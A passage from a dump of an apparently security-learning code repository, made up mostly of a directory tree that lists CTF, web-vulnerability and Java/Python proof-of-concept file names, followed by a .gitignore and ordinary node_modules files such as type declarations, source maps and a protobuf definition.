│ │ ├── perf_hooks.d.ts │ │ │ │ │ │ ├── process.d.ts │ │ │ │ │ │ ├── punycode.d.ts │ │ │ │ │ │ ├── querystring.d.ts │ │ │ │ │ │ ├── readline.d.ts │ │ │ │ │ │ ├── repl.d.ts │ │ │ │ │ │ ├── stream.d.ts │ │ │ │ │ │ ├── string_decoder.d.ts │ │ │ │ │ │ ├── timers.d.ts │ │ │ │ │ │ ├── tls.d.ts │ │ │ │ │ │ ├── trace_events.d.ts │ │ │ │ │ │ ├── ts3.2 │ │ │ │ │ │ ├── base.d.ts │ │ │ │ │ │ ├── fs.d.ts │ │ │ │ │ │ ├── globals.d.ts │ │ │ │ │ │ ├── index.d.ts │ │ │ │ │ │ └── util.d.ts │ │ │ │ │ │ ├── ts3.5 │ │ │ │ │ │ ├── base.d.ts │ │ │ │ │ │ ├── globals.global.d.ts │ │ │ │ │ │ ├── index.d.ts │ │ │ │ │ │ └── wasi.d.ts │ │ │ │ │ │ ├── ts3.7 │ │ │ │ │ │ ├── assert.d.ts │ │ │ │ │ │ ├── base.d.ts │ │ │ │ │ │ └── index.d.ts │ │ │ │ │ │ ├── tty.d.ts │ │ │ │ │ │ ├── url.d.ts │ │ │ │ │ │ ├── util.d.ts │ │ │ │ │ │ ├── v8.d.ts │ │ │ │ │ │ ├── vm.d.ts │ │ │ │ │ │ ├── worker_threads.d.ts │ │ │ │ │ │ └── zlib.d.ts │ │ │ │ ├── package-lock.json │ │ │ │ ├── package.json │ │ │ │ ├── scripts │ │ │ │ │ ├── changelog.js │ │ │ │ │ └── postinstall.js │ │ │ │ ├── src │ │ │ │ │ ├── common.js │ │ │ │ │ ├── converter.js │ │ │ │ │ ├── decoder.js │ │ │ │ │ ├── encoder.js │ │ │ │ │ ├── enum.js │ │ │ │ │ ├── field.js │ │ │ │ │ ├── index-light.js │ │ │ │ │ ├── index-minimal.js │ │ │ │ │ ├── index.js │ │ │ │ │ ├── mapfield.js │ │ │ │ │ ├── message.js │ │ │ │ │ ├── method.js │ │ │ │ │ ├── namespace.js │ │ │ │ │ ├── object.js │ │ │ │ │ ├── oneof.js │ │ │ │ │ ├── parse.js │ │ │ │ │ ├── reader.js │ │ │ │ │ ├── reader_buffer.js │ │ │ │ │ ├── root.js │ │ │ │ │ ├── roots.js │ │ │ │ │ ├── rpc.js │ │ │ │ │ ├── rpc │ │ │ │ │ │ └── service.js │ │ │ │ │ ├── service.js │ │ │ │ │ ├── tokenize.js │ │ │ │ │ ├── type.js │ │ │ │ │ ├── types.js │ │ │ │ │ ├── typescript.jsdoc │ │ │ │ │ ├── util.js │ │ │ │ │ ├── util │ │ │ │ │ │ ├── longbits.js │ │ │ │ │ │ └── minimal.js │ │ │ │ │ ├── verifier.js │ │ │ │ │ ├── wrappers.js │ │ │ │ │ ├── writer.js │ │ │ │ │ └── writer_buffer.js │ │ │ │ └── tsconfig.json │ │ │ ├── qs │ │ │ │ ├── .editorconfig │ │ │ │ ├── .eslintignore │ │ │ │ ├── .eslintrc │ │ │ │ ├── CHANGELOG.md │ │ │ │ ├── LICENSE │ │ │ │ ├── README.md │ │ │ │ ├── dist │ │ │ │ │ └── qs.js │ │ │ │ ├── lib │ │ │ │ │ ├── formats.js │ │ │ │ │ ├── index.js │ │ │ │ │ ├── parse.js │ │ │ │ │ ├── stringify.js │ │ │ │ │ └── utils.js │ │ │ │ ├── package.json │ │ │ │ └── test │ │ │ │ │ ├── .eslintrc │ │ │ │ │ ├── index.js │ │ │ │ │ ├── parse.js │ │ │ │ │ ├── stringify.js │ │ │ │ │ └── utils.js │ │ │ ├── raw-body │ │ │ │ ├── HISTORY.md │ │ │ │ ├── LICENSE │ │ │ │ ├── README.md │ │ │ │ ├── index.d.ts │ │ │ │ ├── index.js │ │ │ │ └── package.json │ │ │ ├── readable-stream │ │ │ │ ├── CONTRIBUTING.md │ │ │ │ ├── GOVERNANCE.md │ │ │ │ ├── LICENSE │ │ │ │ ├── README.md │ │ │ │ ├── errors-browser.js │ │ │ │ ├── errors.js │ │ │ │ ├── experimentalWarning.js │ │ │ │ ├── lib │ │ │ │ │ ├── _stream_duplex.js │ │ │ │ │ ├── _stream_passthrough.js │ │ │ │ │ ├── _stream_readable.js │ │ │ │ │ ├── _stream_transform.js │ │ │ │ │ ├── _stream_writable.js │ │ │ │ │ └── internal │ │ │ │ │ │ └── streams │ │ │ │ │ │ ├── async_iterator.js │ │ │ │ │ │ ├── buffer_list.js │ │ │ │ │ │ ├── destroy.js │ │ │ │ │ │ ├── end-of-stream.js │ │ │ │ │ │ ├── from-browser.js │ │ │ │ │ │ ├── from.js │ │ │ │ │ │ ├── pipeline.js │ │ │ │ │ │ ├── state.js │ │ │ │ │ │ ├── stream-browser.js │ │ │ │ │ │ └── stream.js │ │ │ │ ├── package.json │ │ │ │ ├── readable-browser.js │ │ │ │ └── readable.js │ │ │ ├── require-directory │ │ │ │ ├── .jshintrc │ │ │ │ ├── .npmignore │ │ │ │ ├── .travis.yml │ │ │ │ ├── LICENSE │ │ │ │ ├── README.markdown │ │ │ │ ├── index.js │ │ │ │ └── package.json │ │ │ ├── require-main-filename │ │ │ │ ├── CHANGELOG.md │ │ │ │ ├── LICENSE.txt │ │ │ │ ├── README.md │ │ │ │ ├── index.js │ │ │ │ └── package.json │ │ │ ├── retry-request │ │ │ │ ├── index.d.ts │ │ │ │ ├── index.js │ │ │ │ ├── license │ │ │ │ ├── package.json │ │ │ │ └── readme.md │ │ │ ├── safe-buffer │ │ │ │ ├── LICENSE │ │ │ │ ├── README.md │ │ │ │ ├── index.d.ts │ │ │ │ ├── index.js │ │ │ │ └── package.json │ │ │ ├── safer-buffer │ │ │ │ ├── LICENSE │ │ │ │ ├── Porting-Buffer.md │ │ │ │ ├── Readme.md │ │ │ │ ├── dangerous.js │ │ │ │ ├── package.json │ │ │ │ ├── safer.js │ │ │ │ └── tests.js │ │ │ ├── semver │ │ │ │ ├── CHANGELOG.md │ │ │ │ ├── LICENSE │ │ │ │ ├── README.md │ │ │ │ ├── bin │ │ │ │ │ └── semver.js │ │ │ │ ├── package.json │ │ │ │ ├── range.bnf │ │ │ │ └── semver.js │ │ │ ├── set-blocking │ │ │ │ ├── CHANGELOG.md │ │ │ │ ├── LICENSE.txt │ │ │ │ ├── README.md │ │ │ │ ├── index.js │ │ │ │ └── package.json │ │ │ ├── setprototypeof │ │ │ │ ├── LICENSE │ │ │ │ ├── README.md │ │ │ │ ├── index.d.ts │ │ │ │ ├── index.js │ │ │ │ ├── package.json │ │ │ │ └── test │ │ │ │ │ └── index.js │ │ │ ├── split-array-stream │ │ │ │ ├── build │ │ │ │ │ └── src │ │ │ │ │ │ ├── index.d.ts │ │ │ │ │ │ ├── index.js │ │ │ │ │ │ └── index.js.map │ │ │ │ ├── license │ │ │ │ ├── package.json │ │ │ │ └── readme.md │ │ │ ├── statuses │ │ │ │ ├── HISTORY.md │ │ │ │ ├── LICENSE │ │ │ │ ├── README.md │ │ │ │ ├── codes.json │ │ │ │ ├── index.js │ │ │ │ └── package.json │ │ │ ├── stream-events │ │ │ │ ├── index.d.ts │ │ │ │ ├── index.js │ │ │ │ ├── package.json │ │ │ │ └── readme.md │ │ │ ├── stream-shift │ │ │ │ ├── .travis.yml │ │ │ │ ├── LICENSE │ │ │ │ ├── README.md │ │ │ │ ├── index.js │ │ │ │ ├── package.json │ │ │ │ └── test.js │ │ │ ├── string-width │ │ │ │ ├── index.d.ts │ │ │ │ ├── index.js │ │ │ │ ├── license │ │ │ │ ├── package.json │ │ │ │ └── readme.md │ │ │ ├── string_decoder │ │ │ │ ├── LICENSE │ │ │ │ ├── README.md │ │ │ │ ├── lib │ │ │ │ │ └── string_decoder.js │ │ │ │ └── package.json │ │ │ ├── strip-ansi │ │ │ │ ├── index.d.ts │ │ │ │ ├── index.js │ │ │ │ ├── license │ │ │ │ ├── package.json │ │ │ │ └── readme.md │ │ │ ├── stubs │ │ │ │ ├── index.js │ │ │ │ ├── package.json │ │ │ │ ├── readme.md │ │ │ │ └── test.js │ │ │ ├── through2 │ │ │ │ ├── LICENSE.md │ │ │ │ ├── README.md │ │ │ │ ├── package.json │ │ │ │ └── through2.js │ │ │ ├── toidentifier │ │ │ │ ├── LICENSE │ │ │ │ ├── README.md │ │ │ │ ├── index.js │ │ │ │ └── package.json │ │ │ ├── type-is │ │ │ │ ├── HISTORY.md │ │ │ │ ├── LICENSE │ │ │ │ ├── README.md │ │ │ │ ├── index.js │ │ │ │ └── package.json │ │ │ ├── typedarray │ │ │ │ ├── .travis.yml │ │ │ │ ├── LICENSE │ │ │ │ ├── example │ │ │ │ │ └── tarray.js │ │ │ │ ├── index.js │ │ │ │ ├── package.json │ │ │ │ ├── readme.markdown │ │ │ │ └── test │ │ │ │ │ ├── server │ │ │ │ │ └── undef_globals.js │ │ │ │ │ └── tarray.js │ │ │ ├── unpipe │ │ │ │ ├── HISTORY.md │ │ │ │ ├── LICENSE │ │ │ │ ├── README.md │ │ │ │ ├── index.js │ │ │ │ └── package.json │ │ │ ├── util-deprecate │ │ │ │ ├── History.md │ │ │ │ ├── LICENSE │ │ │ │ ├── README.md │ │ │ │ ├── browser.js │ │ │ │ ├── node.js │ │ │ │ └── package.json │ │ │ ├── walkdir │ │ │ │ ├── .jshintignore │ │ │ │ ├── .travis.yml │ │ │ │ ├── CHANGELOG.md │ │ │ │ ├── CONTRIBUTING.md │ │ │ │ ├── license │ │ │ │ ├── package.json │ │ │ │ ├── readme.md │ │ │ │ ├── test.ts │ │ │ │ ├── test │ │ │ │ │ ├── async.js │ │ │ │ │ ├── comparison │ │ │ │ │ │ ├── find.js │ │ │ │ │ │ ├── find.py │ │ │ │ │ │ ├── finditsynctest.js │ │ │ │ │ │ ├── findittest.js │ │ │ │ │ │ ├── fstream.js │ │ │ │ │ │ ├── install_test_deps.sh │ │ │ │ │ │ ├── lsr.js │ │ │ │ │ │ └── package.json │ │ │ │ │ ├── custom_fs.js │ │ │ │ │ ├── dir │ │ │ │ │ │ ├── foo │ │ │ │ │ │ │ ├── a │ │ │ │ │ │ │ │ ├── b │ │ │ │ │ │ │ │ │ ├── c │ │ │ │ │ │ │ │ │ │ └── w │ │ │ │ │ │ │ │ │ └── z │ │ │ │ │ │ │ │ └── y │ │ │ │ │ │ │ └── x │ │ │ │ │ │ ├── nested-symlink │ │ │ │ │ │ │ └── found-me │ │ │ │ │ │ └── symlinks │ │ │ │ │ │ │ ├── dir1 │ │ │ │ │ │ │ └── file1 │ │ │ │ │ │ │ ├── dir2 │ │ │ │ │ │ │ └── file2 │ │ │ │ │ │ │ └── file │ │ │ │ │ ├── emitter.js │ │ │ │ │ ├── endearly.js │ │ │ │ │ ├── filter.js │ │ │ │ │ ├── ignore-during.js │ │ │ │ │ ├── ignore-first.js │ │ │ │ │ ├── ignore.js │ │ │ │ │ ├── max_depth.js │ │ │ │ │ ├── nested-symlink.js │ │ │ │ │ ├── no_recurse.js │ │ │ │ │ ├── nofailemptydir.js │ │ │ │ │ ├── pauseresume.js │ │ │ │ │ ├── symlink.js │ │ │ │ │ └── sync.js │ │ │ │ ├── walkdir.d.ts │ │ │ │ └── walkdir.js │ │ │ ├── which-module │ │ │ │ ├── CHANGELOG.md │ │ │ │ ├── LICENSE │ │ │ │ ├── README.md │ │ │ │ ├── index.js │ │ │ │ └── package.json │ │ │ ├── wrap-ansi │ │ │ │ ├── index.js │ │ │ │ ├── license │ │ │ │ ├── package.json │ │ │ │ └── readme.md │ │ │ ├── wrappy │ │ │ │ ├── LICENSE │ │ │ │ ├── README.md │ │ │ │ ├── package.json │ │ │ │ └── wrappy.js │ │ │ ├── y18n │ │ │ │ ├── CHANGELOG.md │ │ │ │ ├── LICENSE │ │ │ │ ├── README.md │ │ │ │ ├── index.js │ │ │ │ └── package.json │ │ │ ├── yallist │ │ │ │ ├── LICENSE │ │ │ │ ├── README.md │ │ │ │ ├── iterator.js │ │ │ │ ├── package.json │ │ │ │ └── yallist.js │ │ │ ├── yargs-parser │ │ │ │ ├── CHANGELOG.md │ │ │ │ ├── LICENSE.txt │ │ │ │ ├── README.md │ │ │ │ ├── index.js │ │ │ │ ├── lib │ │ │ │ │ └── tokenize-arg-string.js │ │ │ │ └── package.json │ │ │ └── yargs │ │ │ │ ├── CHANGELOG.md │ │ │ │ ├── LICENSE │ │ │ │ ├── README.md │ │ │ │ ├── build │ │ │ │ └── lib │ │ │ │ │ ├── apply-extends.d.ts │ │ │ │ │ ├── apply-extends.js │ │ │ │ │ ├── argsert.d.ts │ │ │ │ │ ├── argsert.js │ │ │ │ │ ├── command.d.ts │ │ │ │ │ ├── command.js │ │ │ │ │ ├── common-types.d.ts │ │ │ │ │ ├── common-types.js │ │ │ │ │ ├── completion-templates.d.ts │ │ │ │ │ ├── completion-templates.js │ │ │ │ │ ├── completion.d.ts │ │ │ │ │ ├── completion.js │ │ │ │ │ ├── is-promise.d.ts │ │ │ │ │ ├── is-promise.js │ │ │ │ │ ├── levenshtein.d.ts │ │ │ │ │ ├── levenshtein.js │ │ │ │ │ ├── middleware.d.ts │ │ │ │ │ ├── middleware.js │ │ │ │ │ ├── obj-filter.d.ts │ │ │ │ │ ├── obj-filter.js │ │ │ │ │ ├── parse-command.d.ts │ │ │ │ │ ├── parse-command.js │ │ │ │ │ ├── process-argv.d.ts │ │ │ │ │ ├── process-argv.js │ │ │ │ │ ├── usage.d.ts │ │ │ │ │ ├── usage.js │ │ │ │ │ ├── validation.d.ts │ │ │ │ │ ├── validation.js │ │ │ │ │ ├── yargs.d.ts │ │ │ │ │ ├── yargs.js │ │ │ │ │ ├── yerror.d.ts │ │ │ │ │ └── yerror.js │ │ │ │ ├── index.js │ │ │ │ ├── locales │ │ │ │ ├── be.json │ │ │ │ ├── de.json │ │ │ │ ├── en.json │ │ │ │ ├── es.json │ │ │ │ ├── fi.json │ │ │ │ ├── fr.json │ │ │ │ ├── hi.json │ │ │ │ ├── hu.json │ │ │ │ ├── id.json │ │ │ │ ├── it.json │ │ │ │ ├── ja.json │ │ │ │ ├── ko.json │ │ │ │ ├── nb.json │ │ │ │ ├── nl.json │ │ │ │ ├── nn.json │ │ │ │ ├── pirate.json │ │ │ │ ├── pl.json │ │ │ │ ├── pt.json │ │ │ │ ├── pt_BR.json │ │ │ │ ├── ru.json │ │ │ │ ├── th.json │ │ │ │ ├── tr.json │ │ │ │ ├── zh_CN.json │ │ │ │ └── zh_TW.json │ │ │ │ ├── package.json │ │ │ │ └── yargs.js │ │ │ ├── package-lock.json │ │ │ └── source.js │ └── README.md ├── NMAP │ └── Nmap扫描端口状态含义.md ├── Read.md ├── Web │ ├── SSRF │ │ ├── SSRF绕过.md │ │ └── images │ │ │ ├── 11 │ │ │ ├── image-20200713154255844.png │ │ │ ├── image-20200713155048051.png │ │ │ ├── image-20200713161310881.png │ │ │ ├── image-20200713161425324.png │ │ │ ├── image-20200713161524588.png │ │ │ ├── image-20200713161750305.png │ │ │ ├── image-20200713161923265.png │ │ │ ├── image-20200713162303794.png │ │ │ ├── image-20200713162449745.png │ │ │ └── image-20200713162903353.png │ └── 命令注入 │ │ └── 绕过与利用 │ │ └── 命令参数绕过 │ │ └── tar命令绕过.md ├── upload │ └── upload-labs通关之旅 │ │ ├── Pass-01.md │ │ ├── Pass-02.md │ │ └── images │ │ ├── 截屏2020-07-23 下午10.00.51.png │ │ ├── 截屏2020-07-23 下午10.02.24.png │ │ ├── 截屏2020-07-23 下午10.03.02.png │ │ ├── 截屏2020-07-23 下午9.44.54.png │ │ ├── 截屏2020-07-23 下午9.46.33.png │ │ └── 截屏2020-07-23 下午9.59.57.png ├── 漏洞挖掘 │ ├── 按漏洞类型划分 │ │ ├── CSRF │ │ │ ├── 0.CSRF漏洞原理篇.md │ │ │ └── 1.CSRF漏洞防御篇.md │ │ ├── Race Condition │ │ │ ├── 0.条件竞争漏洞原理篇.assets │ │ │ │ └── time_interval.png │ │ │ └── 0.条件竞争漏洞原理篇.md │ │ ├── XSS │ │ │ ├── 0.XSS漏洞原理篇.md │ │ │ └── 1.XSS漏洞防御篇.md │ │ └── 反序列化 │ │ │ └── java、php和python反序列化的区别.md │ └── 按编程语言划分 │ │ ├── Java │ │ └── 反序列化 │ │ │ └── Jackson反序列化 │ │ │ └── JackSon反序列化漏洞分析.pdf │ │ └── 安全工具 │ │ ├── Python静态污点分析工具Pyre.assets │ │ ├── issue_visualization.png │ │ └── logo.png │ │ └── Python静态污点分析工具Pyre.md └── 静态程序分析 │ └── README.md ├── src ├── JavaSecurity │ ├── LearningDeserialization │ │ ├── pom.xml │ │ └── src │ │ │ └── main │ │ │ ├── java │ │ │ └── com │ │ │ │ └── SugarP1g │ │ │ │ ├── deserialization │ │ │ │ ├── CommonsCollections │ │ │ │ │ ├── CC1Before8u71.java │ │ │ │ │ ├── CommonCollections1 │ │ │ │ │ │ ├── Demo.java │ │ │ │ │ │ ├── PocWithLazyMap.java │ │ │ │ │ │ └── PocWithTransformedMap.java │ │ │ │ │ ├── CommonsCollections3 │ │ │ │ │ │ └── PocWithTrAXFilter.java │ │ │ │ │ └── CommonsCollections6 │ │ │ │ │ │ └── PocWithTiedMapEntry.java │ │ │ │ ├── Fastjson │ │ │ │ │ └── POCWithJdbcRowSetImpl.java │ │ │ │ ├── Urldns │ │ │ │ │ ├── Demo.java │ │ │ │ │ └── POC.java │ │ │ │ ├── XMLDecoder │ │ │ │ │ └── POC.java │ │ │ │ ├── XStream │ │ │ │ │ ├── CVE_2021_21344.java │ │ │ │ │ ├── CVE_2021_29505.java │ │ │ │ │ ├── IPerson.java │ │ │ │ │ ├── POC.java │ │ │ │ │ ├── Person.java │ │ │ │ │ └── S2_052.java │ │ │ │ ├── Yaml │ │ │ │ │ ├── POC.java │ │ │ │ │ └── ScriptEngineManager │ │ │ │ │ │ ├── BlackListBypass.java │ │ │ │ │ │ ├── POC.java │ │ │ │ │ │ └── server │ │ │ │ │ │ ├── EvilScriptEngine.java │ │ │ │ │ │ └── META-INF │ │ │ │ │ │ └── services │ │ │ │ │ │ └── javax.script.ScriptEngineFactory │ │ │ │ ├── exploit │ │ │ │ │ └── LearningTemplatesImpl.java │ │ │ │ └── jdbc │ │ │ │ │ ├── db2 │ │ │ │ │ └── Demo.java │ │ │ │ │ └── mysql │ │ │ │ │ ├── client │ │ │ │ │ └── Client.java │ │ │ │ │ └── server │ │ │ │ │ ├── payload │ │ │ │ │ └── server.py │ │ │ │ └── reflection │ │ │ │ ├── HelloDefineClass.java │ │ │ │ └── TestRuntime.java │ │ │ └── resources │ │ │ ├── CVE-2021-21344.xml │ │ │ ├── CVE-2021-29505.xml │ │ │ ├── XMLDecoderPayload.xml │ │ │ ├── XStreamPayload.xml │ │ │ └── s2-052.xml │ ├── LearningDirectoryTraversal │ │ ├── pom.xml │ │ └── src │ │ │ └── main │ │ │ └── java │ │ │ └── com │ │ │ └── SugarP1g │ │ │ └── unzip │ │ │ └── Demo.java │ ├── LearningExpressInjection │ │ ├── pom.xml │ │ └── src │ │ │ └── main │ │ │ └── java │ │ │ └── com │ │ │ └── SugarP1g │ │ │ ├── elInjection │ │ │ └── POC.java │ │ │ ├── felInjection │ │ │ └── POC.java │ │ │ ├── groovyInjection │ │ │ └── POC.java │ │ │ ├── jexlInject │ │ │ ├── Demo.java │ │ │ ├── POCWithSandbox.java │ │ │ └── POCWithoutSandbox.java │ │ │ ├── mvelInjection │ │ │ └── POC.java │ │ │ └── spelInjection │ │ │ └── POC.java │ ├── LearningJNDI │ │ ├── pom.xml │ │ └── src │ │ │ └── main │ │ │ └── java │ │ │ └── com │ │ │ └── SugarP1g │ │ │ └── ldap │ │ │ └── Client.java │ ├── LearningRCE │ │ ├── pom.xml │ │ └── src │ │ │ └── main │ │ │ └── java │ │ │ └── com │ │ │ └── SugarP1g │ │ │ └── runtime │ │ │ └── Reflection.java │ ├── LearningReDoS │ │ ├── pom.xml │ │ └── src │ │ │ └── main │ │ │ └── java │ │ │ └── com │ │ │ └── SugarP1g │ │ │ └── ReDoS │ │ │ ├── POC.java │ │ │ └── POC2.java │ ├── LearningSSTI │ │ ├── pom.xml │ │ └── src │ │ │ └── main │ │ │ └── java │ │ │ └── com │ │ │ └── SugarP1g │ │ │ └── ssti │ │ │ └── FreeMarker │ │ │ └── POC.java │ ├── LearningSandboxEscape │ │ ├── pom.xml │ │ └── src │ │ │ └── main │ │ │ ├── java │ │ │ └── com │ │ │ │ └── SugarP1g │ │ │ │ ├── nashorn │ │ │ │ ├── POC.java │ │ │ │ └── ReDoSPOC.java │ │ │ │ └── securityManager │ │ │ │ ├── ByCreateClassLoader.java │ │ │ │ ├── BySetSecurityManager.java │ │ │ │ ├── ClassLoaderExpolit.java │ │ │ │ ├── MyClassLoader.java │ │ │ │ ├── ReflectBypass.java │ │ │ │ └── ReflectBypass2.java │ │ │ └── resources │ │ │ └── policy │ │ │ ├── permitCreateClassLoader.policy │ │ │ ├── permitReflect.policy │ │ │ └── permitSetSecurityManager.policy │ └── pom.xml └── PythonSecurity │ ├── HPP │ ├── 01-client.py │ ├── 01-flask_server.py │ ├── 02-urllib_parse.py │ └── __init__.py │ ├── ReDoS │ ├── __init__.py │ ├── poc.py │ └── poc2.py │ ├── XXE │ ├── __init__.py │ ├── billion_laughs │ │ ├── __init__.py │ │ ├── poc.py │ │ ├── poc.xml │ │ ├── vuln_lxml.py │ │ └── vuln_xml.py │ └── lxml_poc.py │ ├── ZipSlip │ ├── __init__.py │ ├── poc.py │ ├── vuln_tarfile.py │ └── vuln_zipfile.py │ ├── blind_regular_expression │ ├── __init__.py │ ├── poc.py │ └── vuln.py │ ├── command_injection │ ├── __init__.py │ ├── test_cmd_execution_func.py │ ├── vuln-server.py │ └── vuln_danger_command.py │ ├── deserialization │ ├── LearningJsonpickle │ │ ├── __init__.py │ │ ├── poc.py │ │ └── vuln.py │ ├── LearningMarshal │ │ ├── __init__.py │ │ └── vuln.py │ ├── LearningPickle │ │ ├── __init__.py │ │ ├── poc.py │ │ └── vuln.py │ ├── LearningShelve │ │ ├── __init__.py │ │ └── vuln.py │ ├── LearningYaml │ │ ├── __init__.py │ │ ├── vuln.py │ │ ├── vuln_after_5.1.py │ │ ├── vuln_before_5.1.py │ │ └── vuln_before_5.4.py │ ├── __init__.py │ └── poc.py │ ├── ldap_injection │ ├── 01-ldap_vuln_server.py │ └── __init__.py │ └── requirements.txt ├── 安全学习计划.md └── 安全学习资源.md /.gitignore: -------------------------------------------------------------------------------- 1 | .idea/ 2 | target/ 3 | *.DS_Store 4 | *.iml 5 | *.class 6 | *.pyc 7 | Java安全漫谈*.pdf 8 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/crypto/CHUNK NORRIS/40fcf7065a35550f95fde5b8b0552358af938a72b52c1ea5b4b9c40ace348ba9f0bef835c807f396b2942633e090a4ddc805689f781e81473fb547f197d58a3d.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SugarP1g/LearningSecurity/5cc6fdc43ef527256c5a398565164c33b190c809/docs/CTF/Google CTF 2020/crypto/CHUNK NORRIS/40fcf7065a35550f95fde5b8b0552358af938a72b52c1ea5b4b9c40ace348ba9f0bef835c807f396b2942633e090a4ddc805689f781e81473fb547f197d58a3d.zip -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/.bin/compileProtos: -------------------------------------------------------------------------------- 1 | ../google-gax/build/tools/compileProtos.js -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/.bin/gp12-pem: -------------------------------------------------------------------------------- 1 | ../google-p12-pem/build/src/bin/gp12-pem.js -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/.bin/mime: -------------------------------------------------------------------------------- 1 | ../mime/cli.js -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/.bin/pbjs: -------------------------------------------------------------------------------- 1 | ../protobufjs/bin/pbjs -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/.bin/pbts: -------------------------------------------------------------------------------- 1 | ../protobufjs/bin/pbts -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/.bin/semver: -------------------------------------------------------------------------------- 1 | ../semver/bin/semver.js -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@google-cloud/datastore/build/protos/app_engine_key.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto2"; 2 | 3 | message Reference { 4 | required string app = 13; 5 | optional string namespace = 20; 6 | required Path path = 14; 7 | optional string database_id = 23; 8 | } 9 | 10 | message Path { 11 | repeated group Element = 1 { 12 | required string type = 2; 13 | optional int64 id = 3; 14 | optional string name = 4; 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@google-cloud/datastore/build/src/v1/index.d.ts: -------------------------------------------------------------------------------- 1 | export { DatastoreAdminClient } from './datastore_admin_client'; 2 | export { DatastoreClient } from './datastore_client'; 3 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@google-cloud/datastore/build/src/v1/index.js.map: -------------------------------------------------------------------------------- 1 | {"version":3,"file":"index.js","sourceRoot":"","sources":["../../../src/v1/index.ts"],"names":[],"mappings":";AAAA,4BAA4B;AAC5B,EAAE;AACF,kEAAkE;AAClE,mEAAmE;AACnE,0CAA0C;AAC1C,EAAE;AACF,kDAAkD;AAClD,EAAE;AACF,sEAAsE;AACtE,oEAAoE;AACpE,2EAA2E;AAC3E,sEAAsE;AACtE,iCAAiC;AACjC,EAAE;AACF,4EAA4E;AAC5E,iEAAiE;AACjE,qDAAqD;;AAErD,mEAA8D;AAAtD,8HAAA,oBAAoB,OAAA;AAC5B,uDAAmD;AAA3C,mHAAA,eAAe,OAAA"} -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/build/src/events.d.ts: -------------------------------------------------------------------------------- 1 | export interface EmitterAugmentation1 { 2 | addListener(event: Name, listener: (arg1: Arg) => void): this; 3 | emit(event: Name, arg1: Arg): boolean; 4 | on(event: Name, listener: (arg1: Arg) => void): this; 5 | once(event: Name, listener: (arg1: Arg) => void): this; 6 | prependListener(event: Name, listener: (arg1: Arg) => void): this; 7 | prependOnceListener(event: Name, listener: (arg1: Arg) => void): this; 8 | removeListener(event: Name, listener: (arg1: Arg) => void): this; 9 | } 10 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/build/src/events.js.map: -------------------------------------------------------------------------------- 1 | {"version":3,"file":"events.js","sourceRoot":"","sources":["../../src/events.ts"],"names":[],"mappings":";AAAA;;;;;;;;;;;;;;;GAeG"} -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/build/src/filter.js.map: -------------------------------------------------------------------------------- 1 | {"version":3,"file":"filter.js","sourceRoot":"","sources":["../../src/filter.ts"],"names":[],"mappings":";AAAA;;;;;;;;;;;;;;;GAeG;;;AAqBH,MAAsB,UAAU;IAC9B,KAAK,CAAC,YAAY,CAAC,QAA2B;QAC5C,OAAO,QAAQ,CAAC;IAClB,CAAC;IAED,eAAe,CAAC,QAAkB;QAChC,OAAO,QAAQ,CAAC;IAClB,CAAC;IAED,KAAK,CAAC,WAAW,CAAC,OAA6B;QAC7C,OAAO,OAAO,CAAC;IACjB,CAAC;IAED,KAAK,CAAC,cAAc,CAAC,OAAwB;QAC3C,OAAO,OAAO,CAAC;IACjB,CAAC;IAED,eAAe,CAAC,MAAoB;QAClC,OAAO,MAAM,CAAC;IAChB,CAAC;CACF;AApBD,gCAoBC"} -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/build/src/logging.d.ts: -------------------------------------------------------------------------------- 1 | /// 2 | import { LogVerbosity } from './constants'; 3 | export declare const getLogger: () => Partial; 4 | export declare const setLogger: (logger: Partial) => void; 5 | export declare const setLoggerVerbosity: (verbosity: LogVerbosity) => void; 6 | export declare const log: (severity: LogVerbosity, ...args: any[]) => void; 7 | export declare function trace(severity: LogVerbosity, tracer: string, text: string): void; 8 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/build/src/object-stream.js.map: -------------------------------------------------------------------------------- 1 | {"version":3,"file":"object-stream.js","sourceRoot":"","sources":["../../src/object-stream.ts"],"names":[],"mappings":";AAAA;;;;;;;;;;;;;;;GAeG"} -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/build/src/resolver-dns.d.ts: -------------------------------------------------------------------------------- 1 | /** 2 | * Set up the DNS resolver class by registering it as the handler for the 3 | * "dns:" prefix and as the default resolver. 4 | */ 5 | export declare function setup(): void; 6 | export interface DnsUrl { 7 | host: string; 8 | port?: string; 9 | } 10 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/build/src/resolver-uds.d.ts: -------------------------------------------------------------------------------- 1 | export declare function setup(): void; 2 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/build/src/resolver-xds.d.ts: -------------------------------------------------------------------------------- 1 | export declare function setup(): void; 2 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/build/src/server-credentials.d.ts: -------------------------------------------------------------------------------- 1 | /// 